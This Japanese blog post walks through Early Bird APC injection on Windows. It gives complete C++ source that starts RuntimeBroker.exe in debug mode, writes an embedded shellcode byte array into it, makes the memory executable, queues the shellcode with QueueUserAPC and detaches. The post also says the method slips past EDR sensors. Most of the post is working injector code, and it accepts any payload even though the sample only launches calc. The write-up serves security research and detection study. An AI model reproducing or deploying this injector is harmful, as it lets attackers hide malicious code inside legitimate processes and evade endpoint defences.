#162 Early Bird APC Injection
以前、APC Injectionについて記事にしました。
これは、ローカルプロセスにAlertableなスレッドを生やすというアプローチでした。リモートプロセスで同じことをしようとすると、スレッドをAlertableにするAPIが使われていないといけないので、ハードルが少し高くなります。
APCは、スレッドがAlertableなときに加え、Suspendedなときにも実行できます。Early Bird APC Injectionは、Suspendedなスレッドを立ち上げるアプローチでコード実行を達成します。Suspendedなスレッドを用意するには、以下の方法があります。
CREATE_SUSPENDEDなプロセスを生成
DEBUG_PROCESSなプロセスを生成
今回は、2の方法でやってみましょう。
流れ
Early Bird APC Injectionの流れを整理します。
DEBUG_PROCESSなプロセスを生成
生成したプロセスにシェルコードを書き込む
QueueUserAPCでシェルコードのアドレスを指定
DebugActiveProcessStopでプロセスのデバッグ状態を解除
コード
calc.exeを実行する例です。
#include <iostream>
#include <Windows.h>
// disable error 4996 (caused by sprint)
#pragma warning (disable:4996)
unsigned char buf[] = {
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};
BOOL CreateSuspendedProcess(LPCSTR lpProcessName, DWORD* dwProcessId, HANDLE* hProcess, HANDLE* hThread) {
CHAR lpPath[MAX_PATH * 2];
CHAR WnDr[MAX_PATH];
STARTUPINFOA Si = { 0 };
PROCESS_INFORMATION Pi = { 0 };
RtlSecureZeroMemory(&Si, sizeof(STARTUPINFOA));
RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));
Si.cb = sizeof(STARTUPINFOA);
if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH)) {
printf("[!] GetEnvironmentVariableA failed with error: %d\n", GetLastError());
return FALSE;
}
sprintf(lpPath, "%s\\System32\\%s", WnDr, lpProcessName);
printf("[i] Running: %s\n", lpPath);
if (!CreateProcessA(NULL, lpPath, NULL, NULL, FALSE, DEBUG_PROCESS, NULL, NULL, &Si, &Pi)) {
printf("[!] CreateProcessA failed with error: %d\n", GetLastError());
return FALSE;
}
printf("[+] Done\n");
*dwProcessId = Pi.dwProcessId;
*hProcess = Pi.hProcess;
*hThread = Pi.hThread;
if (*dwProcessId != NULL && *hProcess != NULL && *hThread != NULL) {
return TRUE;
}
return FALSE;
}
BOOL InjectPayload(HANDLE hProcess, PBYTE pShellcode, SIZE_T sSizeOfShellcode, PVOID* ppAddress) {
SIZE_T sNumberOfBytesWritten = NULL;
DWORD dwOldProtection = NULL;
BOOL bState = FALSE;
*ppAddress = VirtualAllocEx(hProcess, NULL, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (*ppAddress == NULL) {
printf("[!] VirtualAallocEx failed with error: %d\n", GetLastError());
return FALSE;
}
bState = WriteProcessMemory(hProcess, *ppAddress, pShellcode, sSizeOfShellcode, &sNumberOfBytesWritten);
if (!bState || sNumberOfBytesWritten != sSizeOfShellcode) {
printf("[!] WriteProcessMemory failed with error: %d\n", GetLastError());
return FALSE;
}
bState = VirtualProtectEx(hProcess, *ppAddress, sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &dwOldProtection);
if (!bState) {
printf("[!] VirtualProtectEx failed with error: %d\n", GetLastError());
return FALSE;
}
return TRUE;
}
int main()
{
HANDLE hProcess = NULL;
HANDLE hThread = NULL;
DWORD dwProcessId = NULL;
PVOID pAddress = NULL;
// create process in DEBUG_PROCESS state
if (!CreateSuspendedProcess("RuntimeBroker.exe", &dwProcessId, &hProcess, &hThread)) {
return -1;
}
printf("[+] Process ID: %d\n", dwProcessId);
// write payload
if (!InjectPayload(hProcess, buf, sizeof(buf), &pAddress)) {
return -1;
}
printf("[+] Payload Address: %p\n", pAddress);
// queue APC
QueueUserAPC((PAPCFUNC)pAddress, hThread, NULL);
// detach debug process
DebugActiveProcessStop(dwProcessId);
getchar();
CloseHandle(hProcess);
CloseHandle(hThread);
return 0;
}
まとめ
Early Bird APC Injectionは、EDRのセンサがいろいろとセットアップされる前にインジェクションできるため、検知されにくいとのことでした。知識不足なので、あまり下手なこと言えません。この手法を応用した新しいインジェクション手法が最近話題になりました。こちらも近々、検証してみようと思います…
EOF